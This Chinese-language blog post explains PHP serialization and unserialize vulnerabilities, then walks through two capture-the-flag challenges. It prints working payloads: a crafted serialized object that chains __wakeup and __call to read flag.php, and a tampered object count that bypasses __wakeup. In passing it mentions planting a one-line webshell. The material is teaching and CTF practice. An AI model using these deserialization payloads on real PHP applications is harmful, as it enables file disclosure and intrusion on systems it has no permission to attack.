PHP反序列化漏洞

什么是php反序列化(unserialize)

说到反序列化,就得先了解什么是序列化。PHP序列化(serialize),就是将代码中定义好的对象、数组等序列化为字符串,反序列化(unserialize),就是反其道而行之,反序化和序列化过程就有点像平时打包快递和拆快递的两个不同过程。

使用序列化的好处就是便于信息在网络上的传输和存储,等需要调用该对象的时候再将序列化后的字符串反序化成对象或者数组。

下面,是对php序列化的一个利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

class test{

public $filename = 'a.txt';

}



$a = new test();

echo $a->filename.'<br/>';

echo serialize($a);

?>

在本机phpstudy下运行,得到filename的值和序列化后的字符串

字符串也是有具体含义的

O:4:"test":1:{s:8:"filename";s:5:"a.txt";}

O: 对象;1: 变量长度, 就是这里的 ‘filename’

s: 字符串

8: 字符串长度, 后面的filename为字符串定义时的名字

反序列化漏洞如何产生

那么,既然认识了序列化和反序化,它们直接又是怎么产生漏洞的呢?php中有一个很神奇的用法,叫魔术方法,魔法函数一般是以__开头,下面是比较典型的PHP反序列化漏洞中可能会用到的魔术方法:

void __wakeup ( void )

unserialize( )会检查是否存在一个_wakeup( ) 方法。如果存在,则会先调用_wakeup 方法,预先准备对象需要的资源。

void __construct ([ mixed $args [, $… ]])

具有构造函数的类会在每次创建新对象时先调用此方法。

void __destruct ( void )

析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

public string __toString ( void )

__toString( ) 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj;应该显示些什么。

此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

当使用以上的函数时,如果我们控制了输入的变量,并且拼接成一个序列化的对象,那么我们可以上传一句话木马之类的操作。

如何利用反序列化漏洞

下面是在DLMUCTF中一道典型的反序列化漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

// flag in flag.php

error_reporting(0);

class Test{

public $fileanme;

public function __call($param1,$param2){

$this->readfile();

}



public function readfile(){

echo file_get_contents($this->fileanme);

}

}



class User{

public $user;

public function __wakeup(){

if (get_class($this->user) == "User"){

$this->user = new Welcome();

}

$this->user->say_hello();

}

}



class Welcome{

public function say_hello(){

echo "welcome";

}

}



$user = serialize(new User());

$string = $_GET['foo']?:$user;

unserialize($string);

我们已经知道,在执行序列化函数和反序列化函数之前,会先调用魔术方法,所以当序列化User()的时候,会先执行_wakeup()方法,如果user为User()类,就创建一个Welcome类。

所以我们可以构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php 

class Test{

public $fileanme = "flag.php";

}


class User{

public $user; }


$a = new user();

$a->user = new Test();

echo serialize($a);

// http://10.203.87.22:8006/?foo=O:4:"User":1:{s:4:"user";O:4:"Test":1: {s:8:"fileanme";s:8:"flag.php";}}

意思是,User->user为Test类的对象,序列化a的时候执⾏_wakeup()方法,来调⽤sayhello函数,但Test类中没有sayhello函数,那么就会执行_call方法,读取我们想读取的文件。

反序化漏洞主要还是根据具体调用的魔术方法来构造payload,如果开发人员在用户输入参数时,进行过滤(正则表达式),那么反序列化漏洞基本就利用不上了。

绕过反序列化中的_wakeup( )魔术方法

最近在刷到攻防世界的反序列化知识点时,发现了一个新的利用点,不光是反序列化的逻辑问题,_wakeup()方法也能绕过。

漏洞原理

_wakeup( )方法在使用unserilize()函数前调用,当反序列化时的字符串所对应对象数目被修改时,_wakeup( )就不会被调用,并且不会重建为对象,但是会触发其他的魔术方法。

题目场景

1
2
3
4
5
6
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

这是攻防世界上的一道题,给出了部分代码,通过传入变量code来实现_wakeup()方法的绕过。从上面代码我们得知,其中只有一个变量,那我们尝试将上面定义好的类序列化后。代码如下:

1
2
3
4
5
6
7
8
9
10
<?php
class xctf{
public $flag='111';
public function _wakeup(){
exit('bad requests');
}
}
$a=new xctf();
echo serialize($a);
?>

把代码放本机跑完之后,得到序列化后对象a:O:4:"xctf":1:{s:4:"flag";s:3:"111";}根据原理,我们要绕过_wakeup()方法,只要把字符串对应对象数目修改,就能得到flag:O:4:"xctf":2:{s:4:"flag";s:3:"111";}

Author: De-m0n
Link: http://De-m0n.github.io/2019/10/19/serialize/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
  • 支付寶